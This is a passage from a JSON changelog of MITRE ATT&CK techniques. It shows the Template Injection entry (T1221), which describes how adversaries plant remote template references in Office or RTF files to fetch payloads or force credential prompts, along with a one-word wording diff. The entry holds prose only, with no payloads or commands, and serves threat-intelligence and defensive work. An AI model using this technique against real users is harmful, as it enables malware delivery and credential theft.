Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1221",
                            "external_id": "T1221"
                        },
                        {
                            "source_name": "Talos Template Injection July 2017",
                            "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
                            "url": "https://blog.talosintelligence.com/2017/07/template-injection.html"
                        },
                        {
                            "source_name": "ryhanson phishery SEPT 2016",
                            "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
                            "url": "https://github.com/ryhanson/phishery"
                        },
                        {
                            "source_name": "Redxorblue Remote Template Injection",
                            "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
                            "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html"
                        },
                        {
                            "source_name": "Anomali Template Injection MAR 2018",
                            "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
                            "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"
                        },
                        {
                            "source_name": "Microsoft Open XML July 2017",
                            "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
                            "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)"
                        },
                        {
                            "source_name": "Ciberseguridad Decoding malicious RTF files",
                            "description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021.",
                            "url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/"
                        },
                        {
                            "source_name": "Proofpoint RTF Injection",
                            "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021.",
                            "url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread"
                        },
                        {
                            "source_name": "MalwareBytes Template Injection OCT 2017",
                            "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
                            "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/"
                        },
                        {
                            "source_name": "SANS Brian Wiltse Template Injection",
                            "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.",
                            "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Brian Wiltse @evalstrings",
                        "Michael Raggi @aRtAGGI",
                        "Patrick Campbell, @pjcampbe11"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:21:49.163000+00:00\", \"old_value\": \"2026-05-12 15:12:00.722000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\\n\\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\\n\\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\\n\\nAdversaries may also modify the <code>*\\\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\\n\\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\", \"old_value\": \"Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\\n\\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\\n\\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\\n\\nAdversaries may also modify the <code>*\\\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\\n\\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\", \"diff\": \"--- \\n+++ \\n@@ -6,4 +6,4 @@\\n \\n Adversaries may also modify the <code>*\\\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\\n \\n-This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\\n+This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to12__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to12__0\"><a href=\"#difflib_chg_to12__top\">t</a></td><td class=\"diff_header\" id=\"from12_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;or&nbsp;modify&nbsp;references&nbsp;in&nbsp;user&nbsp;document</td><td class=\"diff_next\"><a href=\"#difflib_chg_to12__top\">t</a></td><td class=\"diff_header\" id=\"to12_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;or&nbsp;modify&nbsp;references&nbsp;in&nbsp;user&nbsp;document</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;templates&nbsp;to&nbsp;conceal&nbsp;malicious&nbsp;code&nbsp;or&nbsp;force&nbsp;authentication</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;templates&nbsp;to&nbsp;conceal&nbsp;malicious&nbsp;code&nbsp;or&nbsp;force&nbsp;authentication</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;attempts.&nbsp;For&nbsp;example,&nbsp;Microsoft\u2019s&nbsp;Office&nbsp;Open&nbsp;XML&nbsp;(OOXML)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;attempts.&nbsp;For&nbsp;example,&nbsp;Microsoft\u2019s&nbsp;Office&nbsp;Open&nbsp;XML&nbsp;(OOXML)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">specification&nbsp;defines&nbsp;an&nbsp;XML-based&nbsp;format&nbsp;for&nbsp;Office&nbsp;documen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">specification&nbsp;defines&nbsp;an&nbsp;XML-based&nbsp;format&nbsp;for&nbsp;Office&nbsp;documen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;(.docx,&nbsp;xlsx,&nbsp;.pptx)&nbsp;to&nbsp;replace&nbsp;older&nbsp;binary&nbsp;formats&nbsp;(.do</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;(.docx,&nbsp;xlsx,&nbsp;.pptx)&nbsp;to&nbsp;replace&nbsp;older&nbsp;binary&nbsp;formats&nbsp;(.do</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c,&nbsp;.xls,&nbsp;.ppt).&nbsp;OOXML&nbsp;files&nbsp;are&nbsp;packed&nbsp;together&nbsp;ZIP&nbsp;archives</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c,&nbsp;.xls,&nbsp;.ppt).&nbsp;OOXML&nbsp;files&nbsp;are&nbsp;packed&nbsp;together&nbsp;ZIP&nbsp;archives</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;compromised&nbsp;of&nbsp;various&nbsp;XML&nbsp;files,&nbsp;referred&nbsp;to&nbsp;as&nbsp;parts,&nbsp;con</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;compromised&nbsp;of&nbsp;various&nbsp;XML&nbsp;files,&nbsp;referred&nbsp;to&nbsp;as&nbsp;parts,&nbsp;con</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">taining&nbsp;properties&nbsp;that&nbsp;collectively&nbsp;define&nbsp;how&nbsp;a&nbsp;document&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">taining&nbsp;properties&nbsp;that&nbsp;collectively&nbsp;define&nbsp;how&nbsp;a&nbsp;document&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;rendered.(Citation:&nbsp;Microsoft&nbsp;Open&nbsp;XML&nbsp;July&nbsp;2017)&nbsp;&nbsp;Propert</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;rendered.(Citation:&nbsp;Microsoft&nbsp;Open&nbsp;XML&nbsp;July&nbsp;2017)&nbsp;&nbsp;Propert</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;within&nbsp;parts&nbsp;may&nbsp;reference&nbsp;shared&nbsp;public&nbsp;resources&nbsp;acces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;within&nbsp;parts&nbsp;may&nbsp;reference&nbsp;shared&nbsp;public&nbsp;resources&nbsp;acces</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sed&nbsp;via&nbsp;online&nbsp;URLs.&nbsp;For&nbsp;example,&nbsp;template&nbsp;properties&nbsp;may&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sed&nbsp;via&nbsp;online&nbsp;URLs.&nbsp;For&nbsp;example,&nbsp;template&nbsp;properties&nbsp;may&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ference&nbsp;a&nbsp;file,&nbsp;serving&nbsp;as&nbsp;a&nbsp;pre-formatted&nbsp;document&nbsp;blueprin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ference&nbsp;a&nbsp;file,&nbsp;serving&nbsp;as&nbsp;a&nbsp;pre-formatted&nbsp;document&nbsp;blueprin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t,&nbsp;that&nbsp;is&nbsp;fetched&nbsp;when&nbsp;the&nbsp;document&nbsp;is&nbsp;loaded.&nbsp;&nbsp;Adversaries</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t,&nbsp;that&nbsp;is&nbsp;fetched&nbsp;when&nbsp;the&nbsp;document&nbsp;is&nbsp;loaded.&nbsp;&nbsp;Adversaries</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;abuse&nbsp;these&nbsp;templates&nbsp;to&nbsp;initially&nbsp;conceal&nbsp;malicious&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;abuse&nbsp;these&nbsp;templates&nbsp;to&nbsp;initially&nbsp;conceal&nbsp;malicious&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;to&nbsp;be&nbsp;executed&nbsp;via&nbsp;user&nbsp;documents.&nbsp;Template&nbsp;references&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;to&nbsp;be&nbsp;executed&nbsp;via&nbsp;user&nbsp;documents.&nbsp;Template&nbsp;references&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">jected&nbsp;into&nbsp;a&nbsp;document&nbsp;may&nbsp;enable&nbsp;malicious&nbsp;payloads&nbsp;to&nbsp;be&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">jected&nbsp;into&nbsp;a&nbsp;document&nbsp;may&nbsp;enable&nbsp;malicious&nbsp;payloads&nbsp;to&nbsp;be&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etched&nbsp;and&nbsp;executed&nbsp;when&nbsp;the&nbsp;document&nbsp;is&nbsp;loaded.(Citation:&nbsp;S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etched&nbsp;and&nbsp;executed&nbsp;when&nbsp;the&nbsp;document&nbsp;is&nbsp;loaded.(Citation:&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ANS&nbsp;Brian&nbsp;Wiltse&nbsp;Template&nbsp;Injection)&nbsp;These&nbsp;documents&nbsp;can&nbsp;be&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ANS&nbsp;Brian&nbsp;Wiltse&nbsp;Template&nbsp;Injection)&nbsp;These&nbsp;documents&nbsp;can&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">delivered&nbsp;via&nbsp;other&nbsp;techniques&nbsp;such&nbsp;as&nbsp;[Phishing](https://at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">delivered&nbsp;via&nbsp;other&nbsp;techniques&nbsp;such&nbsp;as&nbsp;[Phishing](https://at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1566)&nbsp;and/or&nbsp;[Taint&nbsp;Shared&nbsp;Conten</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1566)&nbsp;and/or&nbsp;[Taint&nbsp;Shared&nbsp;Conten</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t](https://attack.mitre.org/techniques/T1080)&nbsp;and&nbsp;may&nbsp;evade&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t](https://attack.mitre.org/techniques/T1080)&nbsp;and&nbsp;may&nbsp;evade&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">static&nbsp;detections&nbsp;since&nbsp;no&nbsp;typical&nbsp;indicators&nbsp;(VBA&nbsp;macro,&nbsp;sc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">static&nbsp;detections&nbsp;since&nbsp;no&nbsp;typical&nbsp;indicators&nbsp;(VBA&nbsp;macro,&nbsp;sc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ript,&nbsp;etc.)&nbsp;are&nbsp;present&nbsp;until&nbsp;after&nbsp;the&nbsp;malicious&nbsp;payload&nbsp;is</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ript,&nbsp;etc.)&nbsp;are&nbsp;present&nbsp;until&nbsp;after&nbsp;the&nbsp;malicious&nbsp;payload&nbsp;is</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;fetched.(Citation:&nbsp;Redxorblue&nbsp;Remote&nbsp;Template&nbsp;Injection)&nbsp;Ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;fetched.(Citation:&nbsp;Redxorblue&nbsp;Remote&nbsp;Template&nbsp;Injection)&nbsp;Ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">amples&nbsp;have&nbsp;been&nbsp;seen&nbsp;in&nbsp;the&nbsp;wild&nbsp;where&nbsp;template&nbsp;injection&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">amples&nbsp;have&nbsp;been&nbsp;seen&nbsp;in&nbsp;the&nbsp;wild&nbsp;where&nbsp;template&nbsp;injection&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;used&nbsp;to&nbsp;load&nbsp;malicious&nbsp;code&nbsp;containing&nbsp;an&nbsp;exploit.(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;used&nbsp;to&nbsp;load&nbsp;malicious&nbsp;code&nbsp;containing&nbsp;an&nbsp;exploit.(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;MalwareBytes&nbsp;Template&nbsp;Injection&nbsp;OCT&nbsp;2017)&nbsp;&nbsp;Adversaries&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;MalwareBytes&nbsp;Template&nbsp;Injection&nbsp;OCT&nbsp;2017)&nbsp;&nbsp;Adversaries&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;also&nbsp;modify&nbsp;the&nbsp;&lt;code&gt;*\\template&lt;/code&gt;&nbsp;control&nbsp;word&nbsp;with</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;also&nbsp;modify&nbsp;the&nbsp;&lt;code&gt;*\\template&lt;/code&gt;&nbsp;control&nbsp;word&nbsp;with</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;an&nbsp;.rtf&nbsp;file&nbsp;to&nbsp;similarly&nbsp;conceal&nbsp;then&nbsp;download&nbsp;malicious</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;an&nbsp;.rtf&nbsp;file&nbsp;to&nbsp;similarly&nbsp;conceal&nbsp;then&nbsp;download&nbsp;malicious</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;code.&nbsp;This&nbsp;legitimate&nbsp;control&nbsp;word&nbsp;value&nbsp;is&nbsp;intended&nbsp;to&nbsp;be&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;code.&nbsp;This&nbsp;legitimate&nbsp;control&nbsp;word&nbsp;value&nbsp;is&nbsp;intended&nbsp;to&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;file&nbsp;destination&nbsp;of&nbsp;a&nbsp;template&nbsp;file&nbsp;resource&nbsp;that&nbsp;is&nbsp;retri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;file&nbsp;destination&nbsp;of&nbsp;a&nbsp;template&nbsp;file&nbsp;resource&nbsp;that&nbsp;is&nbsp;retri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eved&nbsp;and&nbsp;loaded&nbsp;when&nbsp;an&nbsp;.rtf&nbsp;file&nbsp;is&nbsp;opened.&nbsp;However,&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eved&nbsp;and&nbsp;loaded&nbsp;when&nbsp;an&nbsp;.rtf&nbsp;file&nbsp;is&nbsp;opened.&nbsp;However,&nbsp;advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;alter&nbsp;the&nbsp;bytes&nbsp;of&nbsp;an&nbsp;existing&nbsp;.rtf&nbsp;file&nbsp;to&nbsp;insert</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;alter&nbsp;the&nbsp;bytes&nbsp;of&nbsp;an&nbsp;existing&nbsp;.rtf&nbsp;file&nbsp;to&nbsp;insert</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;template&nbsp;control&nbsp;word&nbsp;field&nbsp;to&nbsp;include&nbsp;a&nbsp;URL&nbsp;resource&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;template&nbsp;control&nbsp;word&nbsp;field&nbsp;to&nbsp;include&nbsp;a&nbsp;URL&nbsp;resource&nbsp;of&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;malicious&nbsp;payload.(Citation:&nbsp;Proofpoint&nbsp;RTF&nbsp;Injection)(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;malicious&nbsp;payload.(Citation:&nbsp;Proofpoint&nbsp;RTF&nbsp;Injection)(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Ciberseguridad&nbsp;Decoding&nbsp;malicious&nbsp;RTF&nbsp;files)&nbsp;&nbsp;This&nbsp;te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Ciberseguridad&nbsp;Decoding&nbsp;malicious&nbsp;RTF&nbsp;files)&nbsp;&nbsp;This&nbsp;te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chnique&nbsp;may&nbsp;also&nbsp;enable&nbsp;[Forced&nbsp;Authentication](https://atta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chnique&nbsp;may&nbsp;also&nbsp;enable&nbsp;[Forced&nbsp;Authentication](https://atta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1187)&nbsp;by&nbsp;injecting&nbsp;a&nbsp;SMB/HTTPS&nbsp;(or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1187)&nbsp;by&nbsp;injecting&nbsp;a<span class=\"diff_add\">n</span>&nbsp;SMB/HTTPS&nbsp;(or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">other&nbsp;credential&nbsp;prompting)&nbsp;URL&nbsp;and&nbsp;triggering&nbsp;an&nbsp;authentica</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;other&nbsp;credential&nbsp;prompting)&nbsp;URL&nbsp;and&nbsp;triggering&nbsp;an&nbsp;authentic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;attempt.(Citation:&nbsp;Anomali&nbsp;Template&nbsp;Injection&nbsp;MAR&nbsp;2018)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;attempt.(Citation:&nbsp;Anomali&nbsp;Template&nbsp;Injection&nbsp;MAR&nbsp;2018</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Talos&nbsp;Template&nbsp;Injection&nbsp;July&nbsp;2017)(Citation:&nbsp;ryh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)(Citation:&nbsp;Talos&nbsp;Template&nbsp;Injection&nbsp;July&nbsp;2017)(Citation:&nbsp;ry</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anson&nbsp;phishery&nbsp;SEPT&nbsp;2016)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hanson&nbsp;phishery&nbsp;SEPT&nbsp;2016)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1031: Network Intrusion Prevention",
                            "M1042: Disable or Remove Feature or Program",
                            "M1049: Antivirus/Antimalware"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0566: Template Injection Detection - Windows"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2018-04-18 17:59:24.739000+00:00",
                    "modified": "2026-11-04 00:38:42.428000+00:00",
                    "name": "Traffic Signaling",
